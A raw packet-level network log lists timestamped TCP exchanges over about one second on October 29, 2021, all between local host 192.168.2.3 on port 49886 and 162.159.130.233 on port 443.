Oct 29, 2021 20:30:35.776021957 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776058912 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776060104 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.776063919 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.776066065 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.776073933 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776138067 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776139975 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.776149988 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776201963 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776232958 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.776238918 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776253939 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776346922 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776386023 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776402950 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.776407957 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.776412964 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776464939 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776484966 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.776489973 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776504040 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.776577950 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.792121887 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.792200089 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.792232990 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.792279005 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.792288065 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.792296886 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.792300940 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.792438984 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.792494059 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.792499065 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.792510033 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.792557001 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.792598963 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.792603970 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.792610884 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.792613983 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.793226957 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.793246031 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.793251038 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.793292999 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.793329000 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.793374062 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.793375969 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.793391943 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.793426037 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.793463945 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.793467045 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.793467999 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.793478966 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.793523073 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.793546915 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.793580055 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.793617010 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.793622017 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.793629885 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809118986 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809159994 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809452057 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809505939 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809515953 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809529066 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809539080 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809542894 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809545994 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809556961 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809580088 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809587002 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809597969 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809606075 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809655905 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809698105 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809710979 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809719086 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809726954 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809731007 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809736967 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809768915 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809789896 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809796095 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.809803963 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809870958 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.809876919 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.810717106 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.810801029 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.810841084 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.810889006 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.810893059 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.810894012 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.810898066 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.810903072 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.810951948 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.810998917 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811005116 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811007977 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811008930 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811017990 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811053991 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811105967 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811110973 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811113119 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811115026 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811125994 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811160088 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811202049 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811240911 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811248064 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811256886 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811265945 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811270952 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811330080 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811343908 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811357975 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811393023 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811445951 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811454058 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811461926 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811466932 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811553001 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811592102 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811606884 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811664104 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811671972 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.811680079 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.811682940 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.824876070 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.826441050 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.826497078 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.826555967 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.826616049 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.826626062 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.826638937 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.826661110 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.826675892 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.826683998 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.826735020 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.826738119 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.826750040 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.826771021 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.826823950 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.826828957 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.826833010 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.826869011 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.826914072 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.827040911 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.827065945 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.827159882 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.827167988 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.827208042 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.827229023 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.827284098 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.827306986 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.827312946 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.827327967 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.827353001 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.827377081 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.827406883 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.827416897 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.827438116 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.827538967 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.827543020 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.827996969 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.828028917 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.828357935 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.828370094 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.828394890 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.828469992 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.828742981 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.828773022 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.828834057 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.828840971 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.828936100 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.829001904 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.829035044 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.829075098 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.829082012 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.829195976 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.829200029 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.829230070 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.829258919 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.829454899 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.829577923 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.829585075 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.829601049 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.829603910 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.829708099 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.829737902 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.829823017 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.829828978 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.829838991 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.829843044 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.829941988 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.829971075 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.830044031 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.830101967 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.830108881 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.830116034 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.830120087 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.830250978 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.830518007 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.830539942 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.830595970 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.830602884 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.830615997 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.830672026 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.830791950 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.830831051 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.830918074 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.830986977 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.830993891 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.831001997 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.831005096 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.831078053 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.831099033 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.831110001 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.831118107 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.831195116 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.831281900 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.831298113 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.831357956 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.831382036 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.831397057 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.831401110 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.844026089 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.844053030 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.844185114 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.844233036 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.844257116 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.844280005 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.844283104 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.844439030 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.844460011 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.844487906 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.844511032 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.844518900 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.844538927 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.844670057 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.844687939 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.844743967 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.844749928 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.844755888 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.844758987 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.844933987 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.844952106 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845022917 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845029116 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845035076 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845037937 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845165014 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845185041 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845248938 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845254898 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845266104 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845268965 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845434904 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845453978 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845514059 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845519066 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845526934 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845530033 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845597982 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845623016 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845675945 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845680952 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845686913 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845690012 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845742941 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845761061 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845824957 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845829964 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845834970 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845838070 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.845928907 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.845947981 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.846014023 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.846019983 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.846035957 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.846039057 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.846390009 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.846410036 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.846481085 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.846487045 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.846494913 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.846498013 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.846640110 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.846694946 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.846700907 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:35.846708059 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:35.846740007 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.052864075 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.053006887 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.480879068 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.481105089 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.514756918 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.514779091 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.514795065 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.514801025 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.514933109 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.514940977 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.514955044 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.514980078 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.514986038 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515048981 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.515054941 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515101910 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.515109062 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515120029 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515161991 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.515167952 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515240908 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.515249014 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515259981 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.515264988 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515271902 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515374899 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.515383005 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515396118 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.515400887 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515501022 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.515507936 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515522957 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.515527964 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515571117 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515614033 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.515623093 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515634060 CEST	443	49886	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:36.515686989 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.515692949 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.626530886 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.626547098 CEST	49886	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:36.628298044 CEST	49886	443	192.168.2.3	162.159.130.233
